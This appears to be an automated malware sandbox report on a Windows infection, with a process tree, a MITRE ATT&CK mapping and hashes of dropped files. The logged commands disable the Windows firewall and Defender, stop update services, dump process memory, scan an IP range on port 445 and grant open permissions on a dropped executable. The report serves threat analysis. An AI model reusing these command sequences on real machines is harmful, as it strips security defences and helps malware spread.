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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:2288 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵PID:2104
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:368 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:3008 -
C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exeC:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe -accepteula -mp 1272 C:\Windows\TEMP\yyshahwcl\1272.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1352 -
C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exeC:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe -accepteula -mp 1336 C:\Windows\TEMP\yyshahwcl\1336.dmp2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1528 -
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵PID:1500
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C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵PID:940
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵PID:2968
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C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵PID:1740
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C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
PID:600 -
C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵PID:2936
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C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
PID:1572 -
C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵PID:2088
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C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵PID:2348
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵PID:2520
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C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵PID:2456
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C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵PID:2572
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵PID:2956
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C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵PID:1636
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C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵PID:2552
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵PID:1544
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C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵PID:1828
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C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
PID:436 -
C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵PID:1720
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C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
PID:1220 -
C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵PID:3044
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C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
PID:2336 -
C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵PID:2176
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C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
PID:660 -
C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:2100 -
C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exeC:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe -accepteula -mp 1680 C:\Windows\TEMP\yyshahwcl\1680.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2788 -
C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exeC:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe -accepteula -mp 2784 C:\Windows\TEMP\yyshahwcl\2784.dmp2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1212 -
C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\yyshahwcl\hbzhttyqt\scan.bat2⤵
- Loads dropped DLL
PID:1948 -
C:\Windows\yyshahwcl\hbzhttyqt\gtzbalqhb.exegtzbalqhb.exe TCP 191.101.0.1 191.101.255.255 445 512 /save3⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:3020 -
C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exeC:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe -accepteula -mp 1948 C:\Windows\TEMP\yyshahwcl\1948.dmp2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2408 -
C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exeC:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe -accepteula -mp 2320 C:\Windows\TEMP\yyshahwcl\2320.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3140
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2360
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C:\Windows\system32\taskeng.exetaskeng.exe {F9EA75DA-A72B-4BBF-AD21-1A5BF461DBA6} S-1-5-18:NT AUTHORITY\System:Service:1⤵PID:2344
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\plwghlna\bibnuun.exe /p everyone:F2⤵PID:2032
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2232
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C:\Windows\system32\cacls.execacls C:\Windows\plwghlna\bibnuun.exe /p everyone:F3⤵PID:2004
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\bibnuun.exe2⤵PID:2676
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C:\Windows\ime\bibnuun.exeC:\Windows\ime\bibnuun.exe3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
PID:2108
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C:\Windows\SysWOW64\ssssgc.exeC:\Windows\SysWOW64\ssssgc.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1660
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
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Downloads
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Filesize
95KB
MD586316be34481c1ed5b792169312673fd
SHA16ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA25649656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
SHA5123a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
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Filesize
275KB
MD54633b298d57014627831ccac89a2c50b
SHA1e5f449766722c5c25fa02b065d22a854b6a32a5b
SHA256b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
SHA51229590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
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Filesize
693B
MD5f2d396833af4aea7b9afde89593ca56e
SHA108d8f699040d3ca94e9d46fc400e3feb4a18b96b
SHA256d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
SHA5122f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01
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Filesize
1.4MB
MD5265c93f28d5620b62f5a89b236228c3f
SHA108e06e0fe2c7ed417844ee8e8cfa308241341d11
SHA256bbf71b39c866eb344d261e19639fbf852d8b7ff834f59c0275763e3daa1dda5e
SHA512abf819756bc761c3858ec18a523e078bb1aa4fbf05486e6c5905129047fac6d063a96276ca99f4a255e8a455c859c648f3d80fce0884ffc8dce062b12e627c99
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Filesize
1.3MB
MD575e0f7db4cd5ca86f94f46dd9f6096b9
SHA157c0d96f0540b1b9b51d760d2a6d0d2910fa803c
SHA2560d9ba34068ce42bf9a7a424deeb61fe06bcad26a0f15b536f4b53fbe8ac7d365
SHA512bde58c4cbb7c4df6bb8c118d17e5f0b6b32326652e207b82c1cb2c2523f4817844318137b78fec8ef98bf5d4330c0de87a8f33dcf11fcd728f341c8c21dff4d6
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Filesize
4.9MB
MD56c6584f2f5f9c56fa803001c2770d100
SHA1f581b45565013dd0721ff0c4aa7379c8d3453229
SHA2567fbff5fba74942c3d2fe83dea63d0233fa9e6dce9fcb918ccf8d18e3ac7adf72
SHA512dcf18a8f8bac7e44b6ac9514926bff6304ee96ee2c0d14a585e627c9d0ae1a5afeec458777247cbd8d742da48af71d61a2b2b9c1febae7c67d0c3e7d16de40f3
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Filesize
843KB
MD5eb86e9654d60086d614229cacdbad3a0
SHA112b6d7eb7733c7c11c89376981b2239f0e67f6bf
SHA2564f8eca2215c8d417ba20bc1d5eb483c64cad5621a1ffe7cdca55aa8c7f7ee739
SHA512fa696eda2f751f1a878ec3b7e95d93b8953964a0062c75995c1e6275b0567fdfd1cad03c6103d26f9a9d8110158d232b79efba040599284c1059eeed4adf20e0
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Filesize
2.1MB
MD592d56c0d09b0d222c5f73ad95ac95517
SHA1cb265f02a0cd7c25f407ab5e89c0b66335536523
SHA256775518459dadab6b3f74a1c25ffae832b9c4d80aecf67e4a7738b4ee12f0468a
SHA51260ff8baa3a5b940b7ab157541eb86a9434c25e9b156b49e5cb7657c75e6cd86fdce7fb180c293f87d34e09e5a6d40fbeb22b21dc288f08660233af21255172b2
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Filesize
4.6MB
MD5e9af9bab6aa9b4046f9753d5e4faa8d1
SHA16defce924ac80f0a5c0158ef248643917b5a0b37
SHA256568b73c96d8a842619ed12f2557d68f463510747ed39db2f0619d60184fea340
SHA5125005dbbcc9352b08020adfceffe464235aeea03b236134e30cbe1aece7273df2c8383564cbb621a9660dae07dd4130814571cc782a26f70b40c25d48fe9ea270
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Filesize
7.2MB
MD56c9a3314dc2523497cc6444a21c36ef7
SHA113d10ae5b03a1b87e12bb31ac9847e0362c94450
SHA256d7c6a248cbf12532ef18304598901a17ea9642345856df1744f99ff8306b329d
SHA512fa73a95929e9966a568b9615aff607dcf8dcf256f8a8aab88252b4059c40a63834785363648e163bab401655c7a8ddf969c772a9e623258b063fbbbaad42ecb0
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Filesize
975B
MD5b5d815ff5310f62de5020591be598bc0
SHA18013562b0cc2516d16d474308c8982a31b7f5dd0
SHA256a7ea603e6e80aed429a34b68ca8210ae3b082cf6104646ed7f8025c3b304ae85
SHA5124e3175ef0c289e1beea60f51239a98533690505b709f778703502dad3f72e3c7e9aa26e1a3837712ed5e1344e28e5ccff1d63a1245352bbc8435a71e15347a94
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Filesize
381KB
MD5fd5efccde59e94eec8bb2735aa577b2b
SHA151aaa248dc819d37f8b8e3213c5bdafc321a8412
SHA256441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
SHA51274a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3
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Filesize
193B
MD5add9b4d6e0addd29abd90a1e33ab6c68
SHA1397ea0fffc24c94f2360a48b5cd62c9b49097c46
SHA256e7323a1906c9993a40ba0ad71b9581bbef511d82dff01412763d38cbb4a1ac60
SHA51246082bfb4a3c808d95f5d879628a5f81c1259b03270462600dfe1431c600b983c040eb3953d1330368884a4d4a83f0d65904dec9098df48da838406ff3289ec8
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Filesize
159B
MD58e0342aedad1fdf811537ed713fc8626
SHA11e8208e386d57db1ca9bcfddbcb01b4f14fafcb0
SHA2560ccc026930525f4bbca70694ca749bdaaf462e401a8970f0e49d6452320a9d90
SHA5127aba76952901a1040bfe378592d6e85078301d212d979a207f3319588dc9601f4f343387ff9a29f0c76d6b209ea3949e9a719fc245a73126e5dfdbf7f7e5001a
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Filesize
343KB
MD52b4ac7b362261cb3f6f9583751708064
SHA1b93693b19ebc99da8a007fed1a45c01c5071fb7f
SHA256a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
SHA512c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616
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Filesize
11KB
MD52ae993a2ffec0c137eb51c8832691bcb
SHA198e0b37b7c14890f8a599f35678af5e9435906e1
SHA256681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
SHA5122501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9
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Filesize
6KB
MD5b648c78981c02c434d6a04d4422a6198
SHA174d99eed1eae76c7f43454c01cdb7030e5772fc2
SHA2563e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
SHA512219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2
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Filesize
72KB
MD5cbefa7108d0cf4186cdf3a82d6db80cd
SHA173aeaf73ddd694f99ccbcff13bd788bb77f223db
SHA2567c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
SHA512b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1
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Filesize
126KB
MD5e8d45731654929413d79b3818d6a5011
SHA123579d9ca707d9e00eb62fa501e0a8016db63c7e
SHA256a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
SHA512df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6
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Filesize
332KB
MD5ea774c81fe7b5d9708caa278cf3f3c68
SHA1fc09f3b838289271a0e744412f5f6f3d9cf26cee
SHA2564883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
SHA5127cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb
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Filesize
63KB
MD5821ea58e3e9b6539ff0affd40e59f962
SHA1635a301d847f3a2e85f21f7ee12add7692873569
SHA256a06d135690ec5c5c753dd6cb8b4fe9bc8d23ca073ef9c0d8bb1b4b54271f56bb
SHA5120d08235781b81ff9e0a75f0e220a8d368d95ee75bf482670e83696e59d991aad68310ae7fa677ac96ffad1f97b3ec7d7208dc26d2edb111c39213b32502b82f6
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Filesize
424KB
MD5e9c001647c67e12666f27f9984778ad6
SHA151961af0a52a2cc3ff2c4149f8d7011490051977
SHA2567ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
SHA51256f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe